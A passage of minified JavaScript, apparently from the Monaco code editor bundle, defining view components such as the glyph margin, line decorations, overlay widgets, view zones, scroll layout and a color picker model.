n._context=t,n._lineHeight=n._context.configuration.editor.lineHeight,n._glyphMargin=n._context.configuration.editor.viewInfo.glyphMargin,n._glyphMarginLeft=n._context.configuration.editor.layoutInfo.glyphMarginLeft,n._glyphMarginWidth=n._context.configuration.editor.layoutInfo.glyphMarginWidth,n._renderResult=null,n._context.addEventHandler(n),n}return f(t,e),t.prototype.dispose=function(){this._context.removeEventHandler(this),this._context=null,this._renderResult=null,e.prototype.dispose.call(this)},t.prototype.onConfigurationChanged=function(e){return e.lineHeight&&(this._lineHeight=this._context.configuration.editor.lineHeight),e.viewInfo&&(this._glyphMargin=this._context.configuration.editor.viewInfo.glyphMargin),e.layoutInfo&&(this._glyphMarginLeft=this._context.configuration.editor.layoutInfo.glyphMarginLeft,this._glyphMarginWidth=this._context.configuration.editor.layoutInfo.glyphMarginWidth),!0},t.prototype.onDecorationsChanged=function(e){return!0},t.prototype.onFlushed=function(e){return!0},t.prototype.onLinesChanged=function(e){return!0},t.prototype.onLinesDeleted=function(e){return!0},t.prototype.onLinesInserted=function(e){return!0},t.prototype.onScrollChanged=function(e){return e.scrollTopChanged},t.prototype.onZonesChanged=function(e){return!0},t.prototype._getDecorations=function(e){for(var t=e.getDecorationsInViewport(),n=[],o=0,r=t.length;o<r;o++){var s=t[o],a=s.source.options.glyphMarginClassName;a&&n.push(new i(s.range.startLineNumber,s.range.endLineNumber,a))}return n},t.prototype.prepareRender=function(e){if(this._glyphMargin){for(var t=e.visibleRange.startLineNumber,n=e.visibleRange.endLineNumber,i=this._render(t,n,this._getDecorations(e)),o=this._lineHeight.toString(),r='\" style=\"left:'+this._glyphMarginLeft.toString()+\"px;width:\"+this._glyphMarginWidth.toString()+\"px;height:\"+o+'px;\"></div>',s=[],a=t;a<=n;a++){var u=a-t,l=i[u];0===l.length?s[u]=\"\":s[u]='<div class=\"cgmr '+l.join(\" \")+r}this._renderResult=s}else this._renderResult=null},t.prototype.render=function(e,t){if(!this._renderResult)return\"\";var n=t-e;if(n<0||n>=this._renderResult.length)throw new Error(\"Unexpected render request\");return this._renderResult[n]},t}(o);t.GlyphMarginOverlay=r}),define(d[233],h([1,0,113,288]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(e){function t(t){var n=e.call(this)||this;return n._context=t,n._decorationsLeft=n._context.configuration.editor.layoutInfo.decorationsLeft,n._decorationsWidth=n._context.configuration.editor.layoutInfo.decorationsWidth,n._renderResult=null,n._context.addEventHandler(n),n}return f(t,e),t.prototype.dispose=function(){this._context.removeEventHandler(this),this._context=null,this._renderResult=null,e.prototype.dispose.call(this)},t.prototype.onConfigurationChanged=function(e){return e.layoutInfo&&(this._decorationsLeft=this._context.configuration.editor.layoutInfo.decorationsLeft,this._decorationsWidth=this._context.configuration.editor.layoutInfo.decorationsWidth),!0},t.prototype.onDecorationsChanged=function(e){return!0},t.prototype.onFlushed=function(e){return!0},t.prototype.onLinesChanged=function(e){return!0},t.prototype.onLinesDeleted=function(e){return!0},t.prototype.onLinesInserted=function(e){return!0},t.prototype.onScrollChanged=function(e){return e.scrollTopChanged},t.prototype.onZonesChanged=function(e){return!0},t.prototype._getDecorations=function(e){for(var t=e.getDecorationsInViewport(),i=[],o=0,r=t.length;o<r;o++){var s=t[o],a=s.source.options.linesDecorationsClassName;a&&i.push(new n.DecorationToRender(s.range.startLineNumber,s.range.endLineNumber,a))}return i},t.prototype.prepareRender=function(e){for(var t=e.visibleRange.startLineNumber,n=e.visibleRange.endLineNumber,i=this._render(t,n,this._getDecorations(e)),o='\" style=\"left:'+this._decorationsLeft.toString()+\"px;width:\"+this._decorationsWidth.toString()+'px;\"></div>',r=[],s=t;s<=n;s++){for(var a=s-t,u=i[a],l=\"\",c=0,d=u.length;c<d;c++)l+='<div class=\"cldr '+u[c]+o;r[a]=l}this._renderResult=r},t.prototype.render=function(e,t){return this._renderResult?this._renderResult[t-e]:\"\"},t}(n.DedupOverlay);t.LinesDecorationsOverlay=i}),define(d[182],h([1,0,27,35]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(e){function t(t){var n=e.call(this,t)||this;return n._canUseLayerHinting=n._context.configuration.editor.canUseLayerHinting,n._contentLeft=n._context.configuration.editor.layoutInfo.contentLeft,n._glyphMarginLeft=n._context.configuration.editor.layoutInfo.glyphMarginLeft,n._glyphMarginWidth=n._context.configuration.editor.layoutInfo.glyphMarginWidth,n._domNode=n._createDomNode(),n}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this)},t.prototype.getDomNode=function(){return this._domNode},t.prototype._createDomNode=function(){var e=n.createFastDomNode(document.createElement(\"div\"));return e.setClassName(\"margin\"),e.setPosition(\"absolute\"),e.setAttribute(\"role\",\"presentation\"),e.setAttribute(\"aria-hidden\",\"true\"),this._glyphMarginBackgroundDomNode=n.createFastDomNode(document.createElement(\"div\")),this._glyphMarginBackgroundDomNode.setClassName(t.CLASS_NAME),e.appendChild(this._glyphMarginBackgroundDomNode),e},t.prototype.onConfigurationChanged=function(e){return e.canUseLayerHinting&&(this._canUseLayerHinting=this._context.configuration.editor.canUseLayerHinting),e.layoutInfo&&(this._contentLeft=this._context.configuration.editor.layoutInfo.contentLeft,this._glyphMarginLeft=this._context.configuration.editor.layoutInfo.glyphMarginLeft,this._glyphMarginWidth=this._context.configuration.editor.layoutInfo.glyphMarginWidth),!0},t.prototype.onScrollChanged=function(t){return e.prototype.onScrollChanged.call(this,t)||t.scrollTopChanged},t.prototype.prepareRender=function(e){},t.prototype.render=function(e){this._domNode.setLayerHinting(this._canUseLayerHinting);var t=e.scrollTop-e.bigNumbersDelta;this._domNode.setTop(-t);var n=Math.min(e.scrollHeight,1e6);this._domNode.setHeight(n),this._domNode.setWidth(this._contentLeft),this._glyphMarginBackgroundDomNode.setLeft(this._glyphMarginLeft),this._glyphMarginBackgroundDomNode.setWidth(this._glyphMarginWidth),this._glyphMarginBackgroundDomNode.setHeight(n)},t.CLASS_NAME=\"glyph-margin\",t}(i.ViewPart);t.Margin=o}),define(d[235],h([1,0,113,291]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(e){function t(t){var n=e.call(this)||this;return n._context=t,n._renderResult=null,n._context.addEventHandler(n),n}return f(t,e),t.prototype.dispose=function(){this._context.removeEventHandler(this),this._context=null,this._renderResult=null,e.prototype.dispose.call(this)},t.prototype.onConfigurationChanged=function(e){return!0},t.prototype.onDecorationsChanged=function(e){return!0},t.prototype.onFlushed=function(e){return!0},t.prototype.onLinesChanged=function(e){return!0},t.prototype.onLinesDeleted=function(e){return!0},t.prototype.onLinesInserted=function(e){return!0},t.prototype.onScrollChanged=function(e){return e.scrollTopChanged},t.prototype.onZonesChanged=function(e){return!0},t.prototype._getDecorations=function(e){for(var t=e.getDecorationsInViewport(),i=[],o=0,r=t.length;o<r;o++){var s=t[o],a=s.source.options.marginClassName;a&&i.push(new n.DecorationToRender(s.range.startLineNumber,s.range.endLineNumber,a))}return i},t.prototype.prepareRender=function(e){for(var t=e.visibleRange.startLineNumber,n=e.visibleRange.endLineNumber,i=this._render(t,n,this._getDecorations(e)),o=[],r=t;r<=n;r++){for(var s=r-t,a=i[s],u=\"\",l=0,c=a.length;l<c;l++)u+='<div class=\"cmdr '+a[l]+'\" style=\"\"></div>';o[s]=u}this._renderResult=o},t.prototype.render=function(e,t){return this._renderResult?this._renderResult[t-e]:\"\"},t}(n.DedupOverlay);t.MarginViewLineDecorationsOverlay=i}),define(d[236],h([1,0,27,25,35,296]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(e){function t(t){var i=e.call(this,t)||this;return i._widgets={},i._verticalScrollbarWidth=i._context.configuration.editor.layoutInfo.verticalScrollbarWidth,i._minimapWidth=i._context.configuration.editor.layoutInfo.minimapWidth,i._horizontalScrollbarHeight=i._context.configuration.editor.layoutInfo.horizontalScrollbarHeight,i._editorHeight=i._context.configuration.editor.layoutInfo.height,i._editorWidth=i._context.configuration.editor.layoutInfo.width,i._domNode=n.createFastDomNode(document.createElement(\"div\")),o.PartFingerprints.write(i._domNode,4),i._domNode.setClassName(\"overlayWidgets\"),i}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this),this._widgets=null},t.prototype.getDomNode=function(){return this._domNode},t.prototype.onConfigurationChanged=function(e){return!!e.layoutInfo&&(this._verticalScrollbarWidth=this._context.configuration.editor.layoutInfo.verticalScrollbarWidth,this._minimapWidth=this._context.configuration.editor.layoutInfo.minimapWidth,this._horizontalScrollbarHeight=this._context.configuration.editor.layoutInfo.horizontalScrollbarHeight,this._editorHeight=this._context.configuration.editor.layoutInfo.height,this._editorWidth=this._context.configuration.editor.layoutInfo.width,!0)},t.prototype.addWidget=function(e){var t=n.createFastDomNode(e.getDomNode());this._widgets[e.getId()]={widget:e,preference:null,domNode:t},t.setPosition(\"absolute\"),t.setAttribute(\"widgetId\",e.getId()),this._domNode.appendChild(t),this.setShouldRender()},t.prototype.setWidgetPosition=function(e,t){var n=this._widgets[e.getId()];return n.preference!==t&&(n.preference=t,this.setShouldRender(),!0)},t.prototype.removeWidget=function(e){var t=e.getId();if(this._widgets.hasOwnProperty(t)){var n=this._widgets[t].domNode.domNode;delete this._widgets[t],n.parentNode.removeChild(n),this.setShouldRender()}},t.prototype._renderWidget=function(e){var t=e.domNode;if(null!==e.preference)if(e.preference===i.OverlayWidgetPositionPreference.TOP_RIGHT_CORNER)t.setTop(0),t.setRight(2*this._verticalScrollbarWidth+this._minimapWidth);else if(e.preference===i.OverlayWidgetPositionPreference.BOTTOM_RIGHT_CORNER){var n=t.domNode.clientHeight;t.setTop(this._editorHeight-n-2*this._horizontalScrollbarHeight),t.setRight(2*this._verticalScrollbarWidth+this._minimapWidth)}else e.preference===i.OverlayWidgetPositionPreference.TOP_CENTER&&(t.setTop(0),t.domNode.style.right=\"50%\");else t.unsetTop()},t.prototype.prepareRender=function(e){},t.prototype.render=function(e){this._domNode.setWidth(this._editorWidth);for(var t=Object.keys(this._widgets),n=0,i=t.length;n<i;n++){var o=t[n];this._renderWidget(this._widgets[o])}},t}(o.ViewPart);t.ViewOverlayWidgets=r}),define(d[237],h([1,0,10,27,35,12]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(e){function t(t){var n=e.call(this,t)||this;return n._lineHeight=n._context.configuration.editor.lineHeight,n._contentWidth=n._context.configuration.editor.layoutInfo.contentWidth,n._contentLeft=n._context.configuration.editor.layoutInfo.contentLeft,n.domNode=i.createFastDomNode(document.createElement(\"div\")),n.domNode.setClassName(\"view-zones\"),n.domNode.setPosition(\"absolute\"),n.domNode.setAttribute(\"role\",\"presentation\"),n.domNode.setAttribute(\"aria-hidden\",\"true\"),n.marginDomNode=i.createFastDomNode(document.createElement(\"div\")),n.marginDomNode.setClassName(\"margin-view-zones\"),n.marginDomNode.setPosition(\"absolute\"),n.marginDomNode.setAttribute(\"role\",\"presentation\"),n.marginDomNode.setAttribute(\"aria-hidden\",\"true\"),n._zones={},n}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this),this._zones={}},t.prototype._recomputeWhitespacesProps=function(){for(var e=!1,t=Object.keys(this._zones),n=0,i=t.length;n<i;n++){var o=t[n],r=this._zones[o],s=this._computeWhitespaceProps(r.delegate);this._context.viewLayout.changeWhitespace(parseInt(o,10),s.afterViewLineNumber,s.heightInPx)&&(this._safeCallOnComputedHeight(r.delegate,s.heightInPx),e=!0)}return e},t.prototype.onConfigurationChanged=function(e){return e.lineHeight?(this._lineHeight=this._context.configuration.editor.lineHeight,this._recomputeWhitespacesProps()):(e.layoutInfo&&(this._contentWidth=this._context.configuration.editor.layoutInfo.contentWidth,this._contentLeft=this._context.configuration.editor.layoutInfo.contentLeft),!0)},t.prototype.onLineMappingChanged=function(e){return this._recomputeWhitespacesProps()},t.prototype.onLinesDeleted=function(e){return!0},t.prototype.onScrollChanged=function(e){return e.scrollTopChanged||e.scrollWidthChanged},t.prototype.onZonesChanged=function(e){return!0},t.prototype.onLinesInserted=function(e){return!0},t.prototype._getZoneOrdinal=function(e){return void 0!==e.afterColumn?e.afterColumn:1e4},t.prototype._computeWhitespaceProps=function(e){if(0===e.afterLineNumber)return{afterViewLineNumber:0,heightInPx:this._heightInPixels(e)};var t;if(void 0!==e.afterColumn)t=this._context.model.validateModelPosition({lineNumber:e.afterLineNumber,column:e.afterColumn});else{var n=this._context.model.validateModelPosition({lineNumber:e.afterLineNumber,column:1}).lineNumber;t=new r.Position(n,this._context.model.getModelLineMaxColumn(n))}var i;i=t.column===this._context.model.getModelLineMaxColumn(t.lineNumber)?this._context.model.validateModelPosition({lineNumber:t.lineNumber+1,column:1}):this._context.model.validateModelPosition({lineNumber:t.lineNumber,column:t.column+1});var o=this._context.model.coordinatesConverter.convertModelPositionToViewPosition(t),s=this._context.model.coordinatesConverter.modelPositionIsVisible(i);return{afterViewLineNumber:o.lineNumber,heightInPx:s?this._heightInPixels(e):0}},t.prototype.addZone=function(e){var t=this._computeWhitespaceProps(e),n={whitespaceId:this._context.viewLayout.addWhitespace(t.afterViewLineNumber,this._getZoneOrdinal(e),t.heightInPx),delegate:e,isVisible:!1,domNode:i.createFastDomNode(e.domNode),marginDomNode:e.marginDomNode?i.createFastDomNode(e.marginDomNode):null};return this._safeCallOnComputedHeight(n.delegate,t.heightInPx),n.domNode.setPosition(\"absolute\"),n.domNode.domNode.style.width=\"100%\",n.domNode.setDisplay(\"none\"),n.domNode.setAttribute(\"monaco-view-zone\",n.whitespaceId.toString()),this.domNode.appendChild(n.domNode),n.marginDomNode&&(n.marginDomNode.setPosition(\"absolute\"),n.marginDomNode.domNode.style.width=\"100%\",n.marginDomNode.setDisplay(\"none\"),n.marginDomNode.setAttribute(\"monaco-view-zone\",n.whitespaceId.toString()),this.marginDomNode.appendChild(n.marginDomNode)),this._zones[n.whitespaceId.toString()]=n,this.setShouldRender(),n.whitespaceId},t.prototype.removeZone=function(e){if(this._zones.hasOwnProperty(e.toString())){var t=this._zones[e.toString()];return delete this._zones[e.toString()],this._context.viewLayout.removeWhitespace(t.whitespaceId),t.domNode.removeAttribute(\"monaco-visible-view-zone\"),t.domNode.removeAttribute(\"monaco-view-zone\"),t.domNode.domNode.parentNode.removeChild(t.domNode.domNode),t.marginDomNode&&(t.marginDomNode.removeAttribute(\"monaco-visible-view-zone\"),t.marginDomNode.removeAttribute(\"monaco-view-zone\"),t.marginDomNode.domNode.parentNode.removeChild(t.marginDomNode.domNode)),this.setShouldRender(),!0}return!1},t.prototype.layoutZone=function(e){var t=!1;if(this._zones.hasOwnProperty(e.toString())){var n=this._zones[e.toString()],i=this._computeWhitespaceProps(n.delegate);(t=this._context.viewLayout.changeWhitespace(n.whitespaceId,i.afterViewLineNumber,i.heightInPx)||t)&&(this._safeCallOnComputedHeight(n.delegate,i.heightInPx),this.setShouldRender())}return t},t.prototype.shouldSuppressMouseDownOnViewZone=function(e){return!!this._zones.hasOwnProperty(e.toString())&&this._zones[e.toString()].delegate.suppressMouseDown},t.prototype._heightInPixels=function(e){return\"number\"==typeof e.heightInPx?e.heightInPx:\"number\"==typeof e.heightInLines?this._lineHeight*e.heightInLines:this._lineHeight},t.prototype._safeCallOnComputedHeight=function(e,t){if(\"function\"==typeof e.onComputedHeight)try{e.onComputedHeight(t)}catch(e){n.onUnexpectedError(e)}},t.prototype._safeCallOnDomNodeTop=function(e,t){if(\"function\"==typeof e.onDomNodeTop)try{e.onDomNodeTop(t)}catch(e){n.onUnexpectedError(e)}},t.prototype.prepareRender=function(e){},t.prototype.render=function(e){for(var t=e.viewportData.whitespaceViewportData,n={},i=!1,o=0,r=t.length;o<r;o++)n[t[o].id.toString()]=t[o],i=!0;for(var s=Object.keys(this._zones),o=0,r=s.length;o<r;o++){var a=s[o],u=this._zones[a],l=0,c=0,d=\"none\";n.hasOwnProperty(a)?(l=n[a].verticalOffset-e.bigNumbersDelta,c=n[a].height,d=\"block\",u.isVisible||(u.domNode.setAttribute(\"monaco-visible-view-zone\",\"true\"),u.isVisible=!0),this._safeCallOnDomNodeTop(u.delegate,e.getScrolledTopFromAbsoluteTop(n[a].verticalOffset))):(u.isVisible&&(u.domNode.removeAttribute(\"monaco-visible-view-zone\"),u.isVisible=!1),this._safeCallOnDomNodeTop(u.delegate,e.getScrolledTopFromAbsoluteTop(-1e6))),u.domNode.setTop(l),u.domNode.setHeight(c),u.domNode.setDisplay(d),u.marginDomNode&&(u.marginDomNode.setTop(l),u.marginDomNode.setHeight(c),u.marginDomNode.setDisplay(d))}i&&(this.domNode.setWidth(Math.max(e.scrollWidth,this._contentWidth)),this.marginDomNode.setWidth(this._contentLeft))},t}(o.ViewPart);t.ViewZones=s}),define(d[86],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){return function(e,t,n,i){this.top=0|e,this.left=0|t,this.width=0|n,this.height=0|i}}();t.Viewport=n;var i=function(){return function(e,t){this.tabSize=e,this.data=t}}();t.MinimapLinesRenderingData=i;var o=function(){return function(e,t,n,i){this.content=e,this.minColumn=t,this.maxColumn=n,this.tokens=i}}();t.ViewLineData=o;var r=function(){return function(e,t,n,i,o,r,s,a){this.minColumn=e,this.maxColumn=t,this.content=n,this.mightContainRTL=i,this.mightContainNonBasicASCII=o,this.tokens=r,this.inlineDecorations=s,this.tabSize=a}}();t.ViewLineRenderingData=r;var s=function(){return function(e,t,n){this.range=e,this.inlineClassName=t,this.insertsBeforeOrAfter=n}}();t.InlineDecoration=s;var a=function(){return function(e){this.range=null,this.source=e}}();t.ViewModelDecoration=a;var u=function(){function e(){this._eventsLen=0,this._events=[],this._eventsLen=0}return e.prototype.emit=function(e){this._events[this._eventsLen++]=e},e.prototype.finalize=function(){var e=this._events;return this._events=null,e},e}();t.ViewEventsCollector=u}),define(d[239],h([1,0,3,48,223,86]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(e){function t(t,n){var r=e.call(this)||this;return r._configuration=t,r._linesLayout=new o.LinesLayout(n,r._configuration.editor.lineHeight),r.scrollable=r._register(new i.Scrollable),r.scrollable.updateState({width:t.editor.layoutInfo.contentWidth,height:t.editor.layoutInfo.contentHeight}),r.onDidScroll=r.scrollable.onScroll,r._updateHeight(),r}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this)},t.prototype.getScrollable=function(){return this.scrollable},t.prototype.onHeightMaybeChanged=function(){this._updateHeight()},t.prototype.onConfigurationChanged=function(e){e.lineHeight&&this._linesLayout.setLineHeight(this._configuration.editor.lineHeight),e.layoutInfo&&this.scrollable.updateState({width:this._configuration.editor.layoutInfo.contentWidth,height:this._configuration.editor.layoutInfo.contentHeight}),this._updateHeight()},t.prototype.onFlushed=function(e){this._linesLayout.onFlushed(e),this._updateHeight()},t.prototype.onLinesDeleted=function(e,t){this._linesLayout.onLinesDeleted(e,t),this._updateHeight()},t.prototype.onLinesInserted=function(e,t){this._linesLayout.onLinesInserted(e,t),this._updateHeight()},t.prototype._getHorizontalScrollbarHeight=function(e){return this._configuration.editor.viewInfo.scrollbar.horizontal===i.ScrollbarVisibility.Hidden?0:e.width>=e.scrollWidth?0:this._configuration.editor.viewInfo.scrollbar.horizontalScrollbarSize},t.prototype._getTotalHeight=function(){var e=this.scrollable.getState(),t=this._linesLayout.getLinesTotalHeight();return this._configuration.editor.viewInfo.scrollBeyondLastLine?t+=e.height-this._configuration.editor.lineHeight:t+=this._getHorizontalScrollbarHeight(e),Math.max(e.height,t)},t.prototype._updateHeight=function(){this.scrollable.updateState({scrollHeight:this._getTotalHeight()})},t.prototype.getCurrentViewport=function(){var e=this.scrollable.getState();return new r.Viewport(e.scrollTop,e.scrollLeft,e.width,e.height)},t.prototype._computeScrollWidth=function(e,n){return this._configuration.editor.wrappingInfo.isViewportWrapping?Math.max(e,n):Math.max(e+t.LINES_HORIZONTAL_EXTRA_PX,n)},t.prototype.onMaxLineWidthChanged=function(e){var t=this._computeScrollWidth(e,this.getCurrentViewport().width);this.scrollable.updateState({scrollWidth:t}),this._updateHeight()},t.prototype.saveState=function(){var e=this.scrollable.getState(),t=e.scrollTop,n=this._linesLayout.getLineNumberAtOrAfterVerticalOffset(t);return{scrollTop:t,scrollTopWithoutViewZones:t-this._linesLayout.getWhitespaceAccumulatedHeightBeforeLineNumber(n),scrollLeft:e.scrollLeft}},t.prototype.restoreState=function(e){var t=e.scrollTop;\"number\"!=typeof e.scrollTopWithoutViewZones||this._linesLayout.hasWhitespace()||(t=e.scrollTopWithoutViewZones),this.scrollable.updateState({scrollLeft:e.scrollLeft,scrollTop:t})},t.prototype.addWhitespace=function(e,t,n){return this._linesLayout.insertWhitespace(e,t,n)},t.prototype.changeWhitespace=function(e,t,n){return this._linesLayout.changeWhitespace(e,t,n)},t.prototype.removeWhitespace=function(e){return this._linesLayout.removeWhitespace(e)},t.prototype.getVerticalOffsetForLineNumber=function(e){return this._linesLayout.getVerticalOffsetForLineNumber(e)},t.prototype.isAfterLines=function(e){return this._linesLayout.isAfterLines(e)},t.prototype.getLineNumberAtVerticalOffset=function(e){return this._linesLayout.getLineNumberAtOrAfterVerticalOffset(e)},t.prototype.getWhitespaceAtVerticalOffset=function(e){return this._linesLayout.getWhitespaceAtVerticalOffset(e)},t.prototype.getLinesViewportData=function(){var e=this.getCurrentViewport();return this._linesLayout.getLinesViewportData(e.top,e.top+e.height)},t.prototype.getLinesViewportDataAtScrollTop=function(e){var t=this.scrollable.getState();return e+t.height>t.scrollHeight&&(e=t.scrollHeight-t.height),e<0&&(e=0),this._linesLayout.getLinesViewportData(e,e+t.height)},t.prototype.getWhitespaceViewportData=function(){var e=this.getCurrentViewport();return this._linesLayout.getWhitespaceViewportData(e.top,e.top+e.height)},t.prototype.getWhitespaces=function(){return this._linesLayout.getWhitespaces()},t.prototype.getScrollWidth=function(){return this.scrollable.getState().scrollWidth},t.prototype.getScrollLeft=function(){return this.scrollable.getState().scrollLeft},t.prototype.getScrollHeight=function(){return this.scrollable.getState().scrollHeight},t.prototype.getScrollTop=function(){return this.scrollable.getState().scrollTop},t.prototype.setScrollPosition=function(e){this.scrollable.updateState(e)},t.LINES_HORIZONTAL_EXTRA_PX=30,t}(n.Disposable);t.ViewLayout=s}),define(d[240],h([1,0,2,12,86]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(e,t,n,i){this.editorId=e,this.model=t,this.configuration=n,this._coordinatesConverter=i,this._decorationsCache=Object.create(null),this._clearCachedModelDecorationsResolver()}return e.prototype._clearCachedModelDecorationsResolver=function(){this._cachedModelDecorationsResolver=null,this._cachedModelDecorationsResolverViewRange=null},e.prototype.dispose=function(){this._decorationsCache=null,this._clearCachedModelDecorationsResolver()},e.prototype.reset=function(){this._decorationsCache=Object.create(null),this._clearCachedModelDecorationsResolver()},e.prototype.onModelDecorationsChanged=function(e){for(var t=e.changedDecorations,n=0,i=t.length;n<i;n++){var o=t[n],r=this._decorationsCache[o];r&&(r.range=null)}var s=e.removedDecorations;if(null!==this._decorationsCache&&void 0!==this._decorationsCache)for(var n=0,i=s.length;n<i;n++){var a=s[n];delete this._decorationsCache[a]}this._clearCachedModelDecorationsResolver()},e.prototype.onLineMappingChanged=function(){this._decorationsCache=Object.create(null),this._clearCachedModelDecorationsResolver()},e.prototype._getOrCreateViewModelDecoration=function(e){var t=e.id,r=this._decorationsCache[t];if(r||(r=new o.ViewModelDecoration(e),this._decorationsCache[t]=r),null===r.range){var s=e.range;if(e.options.isWholeLine){var a=this._coordinatesConverter.convertModelPositionToViewPosition(new i.Position(s.startLineNumber,1)),u=this._coordinatesConverter.convertModelPositionToViewPosition(new i.Position(s.endLineNumber,this.model.getLineMaxColumn(s.endLineNumber)));r.range=new n.Range(a.lineNumber,a.column,u.lineNumber,u.column)}else r.range=this._coordinatesConverter.convertModelRangeToViewRange(s)}return r},e.prototype.getAllOverviewRulerDecorations=function(){for(var e=this.model.getAllDecorations(this.editorId,this.configuration.editor.readOnly),t=[],n=0,i=0,o=e.length;i<o;i++){var r=e[i];if(r.options.overviewRuler.color){var s=this._getOrCreateViewModelDecoration(r);t[n++]=s}}return t},e.prototype.getDecorationsViewportData=function(e){var t=!0;return t=t&&null!==this._cachedModelDecorationsResolver,(t=t&&e.equalsRange(this._cachedModelDecorationsResolverViewRange))||(this._cachedModelDecorationsResolver=this._getDecorationsViewportData(e),this._cachedModelDecorationsResolverViewRange=e),this._cachedModelDecorationsResolver},e.prototype._getDecorationsViewportData=function(e){for(var t=this._coordinatesConverter.convertViewRangeToModelRange(e),i=e.startLineNumber,r=e.endLineNumber,s=this.model.getDecorationsInRange(t,this.editorId,this.configuration.editor.readOnly),a=[],u=0,l=[],c=i;c<=r;c++)l[c-i]=[];for(var d=0,h=s.length;d<h;d++){var p=s[d],f=p.options,g=this._getOrCreateViewModelDecoration(p),m=g.range;if(a[u++]=g,f.inlineClassName)for(var v=new o.InlineDecoration(m,f.inlineClassName,!1),_=Math.max(i,m.startLineNumber),y=Math.min(r,m.endLineNumber),c=_;c<=y;c++)l[c-i].push(v);if(f.beforeContentClassName&&i<=m.startLineNumber&&m.startLineNumber<=r){v=new o.InlineDecoration(new n.Range(m.startLineNumber,m.startColumn,m.startLineNumber,m.startColumn+1),f.beforeContentClassName,!0);l[m.startLineNumber-i].push(v)}if(f.afterContentClassName&&i<=m.endLineNumber&&m.endLineNumber<=r&&m.endColumn>1){v=new o.InlineDecoration(new n.Range(m.endLineNumber,m.endColumn-1,m.endLineNumber,m.endColumn),f.afterContentClassName,!0);l[m.endLineNumber-i].push(v)}}return{decorations:a,inlineDecorations:l}},e}();t.ViewModelDecorations=r}),define(d[241],h([1,0,2]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e,t){this._selection=e,this._isMovingLeft=t}return e.prototype.getEditOperations=function(e,t){var i=this._selection;if(this._selectionId=t.trackSelection(i),i.startLineNumber===i.endLineNumber&&(!this._isMovingLeft||0!==i.startColumn)&&(this._isMovingLeft||i.endColumn!==e.getLineMaxColumn(i.startLineNumber))){var o,r,s,a=i.selectionStartLineNumber,u=e.getLineContent(a);this._isMovingLeft?(o=u.substring(0,i.startColumn-2),r=u.substring(i.startColumn-1,i.endColumn-1),s=u.substring(i.startColumn-2,i.startColumn-1)+u.substring(i.endColumn-1)):(o=u.substring(0,i.startColumn-1)+u.substring(i.endColumn-1,i.endColumn),r=u.substring(i.startColumn-1,i.endColumn-1),s=u.substring(i.endColumn));var l=o+r+s;t.addEditOperation(new n.Range(a,1,a,e.getLineMaxColumn(a)),null),t.addEditOperation(new n.Range(a,1,a,1),l),this._cutStartIndex=i.startColumn+(this._isMovingLeft?-1:1),this._cutEndIndex=this._cutStartIndex+i.endColumn-i.startColumn,this._moved=!0}},e.prototype.computeCursorState=function(e,t){var n=t.getTrackedSelection(this._selectionId);return this._moved&&(n=(n=n.setStartPosition(n.startLineNumber,this._cutStartIndex)).setEndPosition(n.startLineNumber,this._cutEndIndex)),n},e}();t.MoveCaretCommand=i}),define(d[242],h([1,0,32,2]),function(e,t,n,i){\"use strict\";function o(e){return!!e.transparentFormatter}Object.defineProperty(t,\"__esModule\",{value:!0}),t.isAdvancedFormatter=o;var r=function(){function e(e,t,n,o,r,s,a){this.editorModel=s,this.colorFormatters=[],this._colorModelIndex=0,this.originalColor=e,this._opaqueFormatter=n,this.colorFormatters=r,this.color=t,this.hue=t.getHue(),this.saturation=t.getSaturation(),this.value=t.getValue(),this._colorRange=new i.Range(a.startLineNumber,a.startColumn,a.endLineNumber,a.endColumn)}return Object.defineProperty(e.prototype,\"color\",{get:function(){return this._color},set:function(e){this._color=e;var t=e.toRGBA().a;this._opacity||(this._opacity=t/255),this.saturation=e.getSaturation(),this.value=e.getValue(),1===this._opacity?this.selectedColorString=this._opaqueFormatter.toString(this._color):this._transparentFormatter?this.selectedColorString=this._transparentFormatter.toString(this._color):this.nextColorMode()},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"selectedColorString\",{get:function(){return this._selectedColor},set:function(e){this._selectedColor!==e&&(this._selectedColor=e,this.widget&&this.widget.header&&this.widget.body&&(this.widget.header.updatePickedColor(),this.widget.body.fillOpacityOverlay(this._color),this.editorModel.pushEditOperations([],[{identifier:null,range:this._colorRange,text:e,forceMoveMarkers:!1}],function(){return[]}),this._colorRange=this._colorRange.setEndPosition(this._colorRange.endLineNumber,this._colorRange.startColumn+e.length)))},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"hue\",{get:function(){return this._hue},set:function(e){this._hue=e,this.widget&&this.widget.body&&this.widget.body.saturationBox.fillSaturationBox()},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"opacity\",{get:function(){return this._opacity},set:function(e){this._opacity=e;var t=this._color.toRGBA();this.color=n.Color.fromRGBA(new n.RGBA(t.r,t.g,t.b,255*e)),this.widget.header&&this.widget.header.updatePickedColor()},enumerable:!0,configurable:!0}),e.prototype.nextColorMode=function(){this._colorModelIndex++,this._colorModelIndex===this.colorFormatters.length&&(this._colorModelIndex=0);var e=this.colorFormatters[this._colorModelIndex];o(e)?(this._transparentFormatter=e.transparentFormatter,this._opaqueFormatter=e.opaqueFormatter,this.selectedColorString=1===this._opacity?this._opaqueFormatter.toString(this._color):this._transparentFormatter.toString(this._color)):this._transparentFormatter&&1!==this._opacity?this.nextColorMode():(this._transparentFormatter=null,this._opaqueFormatter=e,this.selectedColorString=this._opaqueFormatter.toString(this._color))},e.prototype.getHueColor=function(e){var 